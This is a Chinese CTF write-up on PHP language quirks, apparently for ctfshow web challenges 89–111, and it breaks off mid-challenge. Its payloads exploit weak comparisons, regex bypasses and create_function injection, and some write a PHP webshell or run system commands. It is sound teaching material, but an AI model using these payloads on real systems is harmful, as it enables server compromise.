PHP特性
preg_match()函数漏洞
preg_match()函数无法处理数组,即数组绕过正则表达式
官方文档介绍:
1 2
| 返回值 返回完整匹配次数(可能是0),或者如果发生错误返回FALSE。
|
也就是说如果我们不按规定传一个字符串,而是数组的话,就会返回false,从而不会进入if,达到绕过的效果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
payload:num[]=1
|
intval函数的使用
官方文档中的内容
1 2 3 4 5 6 7
| intval ( mixed $var [, int $base = 10 ] ) : int
Note: 如果 base 是 0,通过检测 var 的格式来决定使用的进制: 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则, 如果字符串以 "0" 开始,使用 8 进制(octal);否则, 将使用 10 进制 (decimal)。
|
当然也可以用科学计数法。
所以
1 2 3 4 5 6
| intval('4476.0')===4476 小数点 intval('+4476.0')===4476 正负号 intval('4476e0')===4476 科学计数法 intval('0x117c')===4476 16进制 intval('010574')===4476 8进制 intval(' 010574')===4476 8进制+空格
|
正则表达式修饰符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| i 不区分(ignore)大小写
m 多(more)行匹配 若存在换行\n并且有开始^或结束$符的情况下, 将以换行为分隔符,逐行进行匹配 $str = "abc\nabc"; $preg = "/^abc$/m"; preg_match($preg, $str,$matchs); 这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
s 特殊字符圆点 . 中包含换行符 默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符 $str = "abggab\nacbs"; $preg = "/b./s"; preg_match_all($preg, $str,$matchs); 这样匹配到的有三个 bg b\n bs
A 强制从目标字符串开头匹配;
D 如果使用$限制结尾字符,则不允许结尾有换行;
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
|
路径问题
下面方式在highlight_file中均等效于flag.php
inux下面表示当前目录是 ./
1 2 3
| /var/www/html/flag.php 绝对路径 ./flag.php 相对路径 php://filter/resource=flag.php php伪协议
|
php中hash比较缺陷
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。
1 2 3 4
| aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m
|
md5弱比较
使用了强制类型转换后不再接收数组
1 2 3 4 5 6 7
| $a=(string)$a; $b=(string)$b; if( ($a!==$b) && (md5($a)==md5($b)) ){ echo $flag; }
payload: a=QNKCDZO&b=240610708
|
md5强碰撞
1 2 3 4 5 6 7 8 9
| $a=(string)$a; $b=(string)$b; if( ($a!==$b) && (md5($a)===md5($b)) ){ echo $flag; } 这时候需要找到两个真正的md5值相同数据
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
|
md5强碰撞收集
sha1强碰撞
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
php弱类型比较
1 2 3 4 5 6 7
| $allow = array(1,'2','3'); var_dump(in_array('1.php',$allow)); 返回的为true
$allow = array('1','2','3'); var_dump(in_array('1.php',$allow)); 返回false
|
in_array延用了php中的==
具体内容可以查看php手册->附录->PHP类型比较表
PHP的and
1 2 3 4 5 6
| <?php $a=true and false and false; var_dump($a); 返回true
$a=true && false && false; var_dump($a); 返回false
|
is_numeric()函数
is_numeric函数
在php5的环境中,是可以识别十六进制的,也就是说,如果传v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制)
也是可以识别为数字的。
parse_str函数
parse_str
函数:
1 2 3 4 5
| parse_str — 将字符串解析成多个变量 parse_str ( string $encoded_string [, array &$result ] ) : void 如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。 注释:如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。 注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| <!DOCTYPE html> <html> <body>
<?php parse_str("name=Bill&age=60",$myArray); print_r($myArray); ?> </body> </html>
Array ( [name] => Bill [age] => 60 )
|
还有一个例子
1 2 3 4
| $a='q=123&p=456'; parse_str($a,$b); echo $b['q']; echo $b['p'];
|
ereg %00正则截断
ereg
正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测
php类
反射类
反射类的具体使用方法可参考php官网文档
最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass('ctfshow');
举个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php class A{ public static $flag="flag{123123123}"; const PI=3.14; static function hello(){ echo "hello</br>"; } } $a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量 输出 array(1) { ["PI"]=> float(3.14) }
var_dump($a->getName()); 获取类名 输出 string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性 输出 array(1) { ["flag"]=> string(15) "flag{123123123}" }
var_dump($a->getMethods()); 获取类中的方法 输出 array(1) { [0]=> object(ReflectionMethod) ["name"]=> string(5) "hello" ["class"]=> string(1) "A" } }
|
异常类
Exception
异常(Exception)处理用于在指定的错误发生时改变脚本的正常流程,是在 PHP5 中的增加的一个重要特性。异常处理是一种可扩展、易维护的错误处理统一机制,并提供了一种新的面向对象的错误处理方式。
http://c.biancheng.net/view/6253.html
PHP 中提供了内置的异常处理类——Exception,该类中常用的成员函数如下所示:
- getMessage():返回异常的消息内容;
- getCode():以数字形式返回异常代码;
- getFile():返回发生异常的文件名;
- getLine():返回发生错误的代码行号;
- getTrace():返回 backtrace() 数组;
- getTraceAsString():返回已格式化成字符串的、由函数 getTrace() 函数所产生的信息;
- __toString():产生异常的字符串信息,它可以重载。注意,该函数最前部是两个下划线。
FilesystemIterator类
php快速获取文件夹中文件数量
1 2 3 4 5
| <?php $iterator = new FilesystemIterator(__DIR__, FilesystemIterator::SKIP_DOTS); printf("There were %d Files", iterator_count($iterator)); ?>
|
php FilesystemIterator 使用 seek 改变指针位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
$iterator = new FilesystemIterator("./testdir");
$iterator->seek(3);
if ($iterator->valid()) {
echo $iterator->getFilename(); } else { echo 'No file at position 3'; }
while($iterator->valid()) { var_dump($iterator->getFilename()) . "\n"; $iterator->next(); } ?>
|
php FilesystemIterator 使用 vaild next 方法遍历元素
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
$iterator = new FilesystemIterator("./testdir");
while($iterator->valid()) { var_dump($iterator->getFilename()) . "\n"; $iterator->next(); }
?>
|
php超全局变量$GLOBALS的使用
1 2
| $GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
|
举个例子
1 2 3 4
| $a=123; $b=456; var_dump($GLOBALS); 123
|
返回内容较多就不一一列出了。我们只看最后两条,发现我们自行定义的变量会被输出。
1 2 3 4
| ["a"]=> int(123) ["b"]=> int(456)
|
还有一个问题php变量前面加&符号是什么意思
1 2 3 4 5
| $foo = 321; $bar = &$foo; $bar = 123; print $foo;
|
为什么会这样呢?
改动新的变量将影响到原始变量,这种赋值操作更加快速
注意:只有命名变量才可以传地址赋值
就是说,改变了$bar的值,也就改变了$foo的值
了
php伪协议绕过is_file+highlight_file对于php伪协议的使用
1 2
| is_file — 判断给定文件名是否为一个正常的文件 is_file ( string $filename ) : bool
|
可以直接用php伪协议绕过
trim函数的绕过+is_numeric绕过
1 2 3 4 5 6 7 8 9 10 11 12 13
| 语法 trim(string,charlist)
参数 描述 string 必需。规定要检查的字符串。 charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
"\0" - NULL "\t" - 制表符 "\n" - 换行 "\x0B" - 垂直制表符 "\r" - 回车 " " - 空格
|
做个简单的小测试
1 2 3 4 5 6
| for ($i=0; $i <128 ; $i++) { $x=chr($i).'1'; if(is_numeric($x)==true){ echo urlencode(chr($i))."\n"; } }
|
除了数字和+-.号以外还有 %09 %0a %0b %0c %0d %20
再来看看 trim+is_numeric
1 2 3 4 5 6
| for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1'; if(trim($x)!=='1' && is_numeric($x)){ echo urlencode(chr($i))."\n"; } }
|
发现除了+-.号以外还有只剩下%0c也就是换页符了,所以这个题只有这一个固定的解了。
其实可以直接爆破
PHP里的符号转化
PHP默认把. 空格 [ +
转化成_
但是有一个转换规则
对变量不符合规则的变量名里面只转换一次,类似于双写绕过,如果两个不合法只转换一个,后面的不再转换,其中空格 + . [ = _
extract() 函数:将键值 "Cat"、"Dog" 和 "Horse" 赋值给变量 $a、$b 和 $c:
1 2 3 4 5 6 7
| <?php a = "Original"; my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse"); extract(my_array); echo "\$a = a; $b = b; \$c = c";
?>
|
gettext拓展的使用
**GetText:一个字符串处理的函数或者说功能,进行字符替换等等. **
在开启该拓展后 _() 等效于 gettext()
1 2 3 4 5 6
| <?php echo gettext("phpinfo"); 结果 phpinfo
echo _("phpinfo"); 结果 phpinfo
|
1 2
| get_defined_vars ( void ) : array 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量
|
关于正则贪婪的回溯
利用正则最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
这个参数在php 5.2.0版本之后可用。
默认的backtarck_limit是100000(10万).
现在要弄清这个问题的原因, 关键就是什么是”回溯”.
这个正则, 使用非贪婪模式, 非贪婪模式匹配原理简单来说是, 在可配也可不配的情况下, 优先不匹配. 记录备选状态, 并将匹配控制交给正则表达式的下一个匹配字符, 当之后的匹配失败的时候, 再溯, 进行匹配.
举个例子:
1 2
| 源字符串: aaab正则: .*? 匹配过程开始的时候, “.*?”首先取得匹配控制权, 因为是非贪婪模式, 所以优先不匹配, 将匹配控制交给下一个匹配字符”b”, “b”在源字符串位置1匹配失败(“a”), 于是回溯, 将匹配控制交回给”.*?”, 这个时候, “.*?”匹配一个字符”a”, 并再次将控制权交给”b”, 如此反复, 最终得到匹配结果, 这个过程中一共发生了3次回溯.
|
最后,还是要说一下
1、在PHP 5.2以后, 提供了:int preg_last_error ( void )Returns the error code of the last PCRE regex execution.
我们应该经常检查这个函数的返回值, 当不为零的时候说明上一个正则函数出错, 特别的对于文章的例子, 出错返回(PREG_BACKTRACK_LIMIT_ERROR)
2、非贪婪模式导致太多回溯, 必然会有一些性能问题, 适当的该写下正则, 是可以避免这个问题的. 尤其在做大数据量的文本处理的时候, 如果正则设计不慎, 很容易导致深度嵌套, 另外考虑到性能, 还是建议能用字符串处理尽量使用字符串处理代替.
关于php的函数调用
1 2 3
| php中 ->与:: 调用类中的成员的区别 ->用于动态语境处理某个类的某个实例 ::可以调用一个静态的、不依赖于其他初始化的类方法.
|
也就是说双冒号可以不用实例化类就可以直接调用类中的方法
有时候冒号会被禁用
这时候就考察我们对call_user_func函数的使用了,call_user_func中不但可以传字符串也可以传数组。
且call_user_func是以数组方式调用函数的
具体使用方法如下
1 2
| call_user_func(array($classname, 'say_hello')); 这时候会调用 classname中的 say_hello方法
|
1
| ctfshow[0]=ctfshow&ctfshow[1]=getFlag
|
create_function()
函数定义
在PHP中使用create_function()创建匿名函数,seay大牛的解释很清楚,引用一下:
- 获取参数, 函数体;
- 拼凑一个”function __lambda_func (参数) { 函数体;} “的字符串;
- eval;
- 通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错;
- 定义一个函数名:”\000_lambda_” . count(anonymous_functions)++;
- 用新的函数名替换__lambda_func;
- 返回新的函数。
其实我们只需要关注前三点即可,自己写个例子讲一下吧:
1 2 3 4 5
| <?php $id = $_GET['id']; $q = 'echo'.$id.'is'.$a.";"; $sy = create_function('$a',$q); ?>
|
这个匿名函数相当于这样的创建函数过程:
1 2 3
| function niming($a){ echo $id.'is'.$a; }
|
q所指向的字符串的值是匿名函数的函数体
正常情况下,我们会输入http://localhost/create_function.php?id=1 此类的url来进行访问,但是看了看上面的创建函数的过程,能不能做一些手脚呢?ctfshow
函数漏洞利用
1
| http://localhost/create_function.php?id=1;}phpinfo();/*访问之:
|
phpinfo()函数执行了!我们来分析一下执行过程,payload访问后相当于如下:
1 2 3
| function niming($a){ echo 1;}phpinfo();
|
这就解释通了吧,我们用;}闭合了函数,phpinfo();后的/*会注释掉之后的代码,而我们之前说过,create_function函数是调用了eval的,所以phpinfo()函数得以执行。
web89
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
payload:num[]=1
|
考点:数组绕过正则表达式
不按规定传一个字符串,而是数组的话,就会返回false,从而不会进入if,达到绕过的效果。
web90
1 2 3 4 5 6 7 8 9 10 11 12 13
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
|
关于intval函数的应用
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
如果字符串以 “0” 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
也可以使用不同的进制让他等于4476就可以了
web91
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
|
%0aphp 经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。
经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag
web93
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
1 2
| ban掉了字母,但是可以用八进制绕过,小数也可以 ?num=010574
|
web94
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
|
不能以0开头了,这时候可以试试小数,intval只识别整数部分
web95
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
|
web96
1 2 3 4 5 6 7 8 9
| highlight_file(__FILE__);
if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
|
linux下面表示当前目录是 ./
1 2 3 4
| php://filter/read=convert.base64-encode/resource=flag.php /var/www/html/flag.php 绝对路径 ./flag.php 相对路径 php://filter/resource=flag.php php伪协议
|
web97
1 2 3 4 5 6 7 8 9 10
| include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
|
考点是md5弱比较造数组就可以了
web98
1 2 3 4 5 6
| include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); ?>
|
考三元操作符理解
根据第一条可知,如果get传了一个值,那么就可以用post覆盖get中的值。
中间两行意义不大。
最后一行是,如果get传了一个HTTP_FLAG=flag就输出flag否则显示index.php源码。
所以我们get随便传一个,然后post传 HTTP_FLAG=flag即可
1
| payload get:1=1 post:HTTP_FLAG=flag
|
web99
1 2 3 4 5 6 7
| allow = array(); for (i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
|
考察点:php弱类型比较
1 2 3 4 5 6 7
| $allow = array(1,'2','3'); var_dump(in_array('1.php',$allow)); 返回的为true
$allow = array('1','2','3'); var_dump(in_array('1.php',$allow)); 返回false
|
in_array延用了php中的==
具体内容可以查看php手册->附录->PHP类型比较表
因为新加进去的随机数字每次都包含1,1存在的几率是最大的。
所以直接写 n=1.php post:content=<?php eval($_POST[1]);?>
多试几次即可
web100
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
|
第一部分
1
| $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
|
1 2 3 4 5 6
| <?php $a=true and false and false; var_dump($a); 返回true
$a=true && false && false; var_dump($a); 返回false
|
所以只要保证v1是数字就可以使得v0为true,从而进入if中。
第二部分
反射类的具体使用方法可参考php官网文档
最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass('ctfshow');
1
| payload:?v1=1&v2=echo new ReflectionClass&v3=;
|
当然我们做着个题的目的不仅是为了怎么过,更希望大家能对反射类中的方法有所了解。
举个简单的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php class A{ public static $flag="flag{123123123}"; const PI=3.14; static function hello(){ echo "hello</br>"; } } $a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量 输出 array(1) { ["PI"]=> float(3.14) }
var_dump($a->getName()); 获取类名 输出 string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性 输出 array(1) { ["flag"]=> string(15) "flag{123123123}" }
var_dump($a->getMethods()); 获取类中的方法 输出 array(1) { [0]=> object(ReflectionMethod) ["name"]=> string(5) "hello" ["class"]=> string(1) "A" } }
|
这里就不一一列举,大家可以自行尝试。
100非预期解1
直接输出ctfshow;构造出 var_dump(ctfshow);
payload:v1=1&v2=var_dump($ctfshow)/&v3=/;
?v1=1&v2=var_dump($ctfshow)?><?&v3=?>;
100非预期解2
1 2 3 4
| 因为过滤的字符比较少,所以可以直接执行命令。 方法不固定,在此聚两个例子 v1=1&v2=?><?php echo `ls`?>/*&v3=;*/ v1=1&v2=-system('ls')-&v3=-1;
|
web101
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
|
过滤了很多
1
| ?v1=1&v2=echo new ReflectionClass&v3=;
|
因为flag在ctfshow类里直接用反射类输出flag即可
web102
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
|
is_numeric函数
在php5的环境中,是可以识别十六进制的,也就是说,如果传v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制)
也是可以识别为数字的。
1 2
| var_dump(is_numeric("0x3c3f706870206576616c28245f504f53545b315d293b3f3e")); 下返回true
|
题目经过substr($v2,2)
得到0x后面的十六进制3c3f706870206576616c28245f504f53545b315d293b3f3e
,因为hex2bin如果参数带0x会报错。
paylaod
首先将我们的一句话编码成16进制
1 2
| get:v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php post:v1=hex2bin
|
完成木马的写入。
但是本题无法使用,应该是因为环境为php7,因为在php7下
1 2
| var_dump(is_numeric("0x3c3f706870206576616c28245f504f53545b315d293b3f3e")); 下返回false
|
所以只能另想办法,要让v2均为数字,首先我们考虑写入1.php时,利用伪协议写入
1 2
| get:v2=???&v3=php: post: v1=hex2bin
|
关键就是什么代码base64编码后再转为十六进制为全数字,网上找了一个
1 2 3 4 5
| $a='<?=`cat *`;'; $b=base64_encode($a); $c=bin2hex($b); 输出 5044383959474e6864434171594473 带e的话会被认为是科学计数法,可以通过is_numeric检测。
|
同时因为经过substr处理,所以v2前面还要补00
payload:
1 2
| get:v2=005044383959474e6864434171594473&v3=php: post: v1=hex2bin
|
写入成功后访问1.php即可得到flag
web103
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); }
|
首先分析一下4个变量,进if的条件呢需要is_numeric($v2) and is_numeric($v3);
, $s = substr($v2,2);$str = call_user_func($v1,$s);
这个就和上一题是一样的
所以捏payload就可以了
1 2
| get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
|
web104
1 2 3 4 5 6 7 8 9 10
| highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } }
|
还是考察hash比较缺陷的问题
但是这个题有缺陷并没有检查v1和v2的值所以可以传入相同的值,也可以数组绕过
1 2 3 4 5 6 7
| v1=a;v2=a v1[]=1;v2[]=1 如果是强类型的话可以用以下值 aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m
|
web105
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces); ?>
|
考察点:php变量覆盖
题目一共有三个变量 $error $suces $flag我们只要令其中任意一个的值为flag,都是可以通过die或者直接echo输出的。假设$flag=flag{test123}
通过die($error)输出
payload:a=flag post: error=a
进行的操作为
此时$a=flag{test123};$error=flag{test123};
从而输出error也就是输出flag
通过die($suces)
payload:suces=flag&flag=
进行的操作为
suces=flag;
此时$scues=flag{test123};$_POST['flag']=NULL;$flag=NULL,满足($_POST['flag']==$flag)
通过echo $flag
一个矛盾体,没有机会在不改变值的情况下输出,大家可以自行尝试进行验证。
web106
1 2 3 4 5 6 7 8 9 10
| highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } }
|
sha1强碰撞
1 2 3 4
| aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m
|
web107
1 2 3 4 5 6 7 8 9 10 11 12
| highlight_file(__FILE__); error_reporting(0); include("flag.php");
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } }
|
parse_str
函数:
1 2 3 4 5
| parse_str — 将字符串解析成多个变量 parse_str ( string $encoded_string [, array &$result ] ) : void 如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。 注释:如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。 注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| <!DOCTYPE html> <html> <body>
<?php parse_str("name=Bill&age=60",$myArray); print_r($myArray); ?> </body> </html>
Array ( [name] => Bill [age] => 60 )
|
还有一个例子
1 2 3 4
| $a='q=123&p=456'; parse_str($a,$b); echo $b['q']; echo $b['p'];
|
再回头看看题目
1 2 3 4
| $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){
|
经过了parse_str($v1,$v2);
然后满足$v2['flag']==md5($v3
进if
payload:
1 2
| v3=1 v1=flag=c4ca4238a0b923820dcc509a6f75849b
|
web108
1 2 3 4 5 6 7 8 9 10 11 12
| highlight_file(__FILE__); error_reporting(0); include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error');
}
if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
|
考察点:ereg %00正则截断
函数介绍
1 2
| strrev() 字符串反转 intval() 获取变量的整数值
|
payload:c=a%00778
首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。
web109
1 2 3 4 5 6 7 8
| if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } }
|
考察点:php 异常类
先来看下这个正则表达式/[a-zA-Z]+/
匹配至少有一个字母的字符串
所以我们只要让new后面有个类不报错以后,就可以随意构造了。我们随便找个php中的内置类并且可以直接echo输出的就可以了。
举两个例子
1 2
| Exception ReflectionClass
|
1 2 3 4
| payload: v1=Exception();system('tac f*'); v1=ReflectionClass&v2=system('tac f*') v1=Exception&v2=system('tac f*')
|
web110
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); }
eval("echo new $v1($v2());");
} ?>
|
考察点:FilesystemIterator类的使用
不能有符号上次用的方法是不行了
getcwd()
getcwd — 取得当前工作目录
getcwd(void):string
payload:其实就是用getcwd造点
1
| v1=FilesystemIterator&v2=getcwd
|
题目的话有个缺陷,如果flag所在的文件不是排在第一位的话,我们可能就没有办法得到flag。
web111
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); }
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
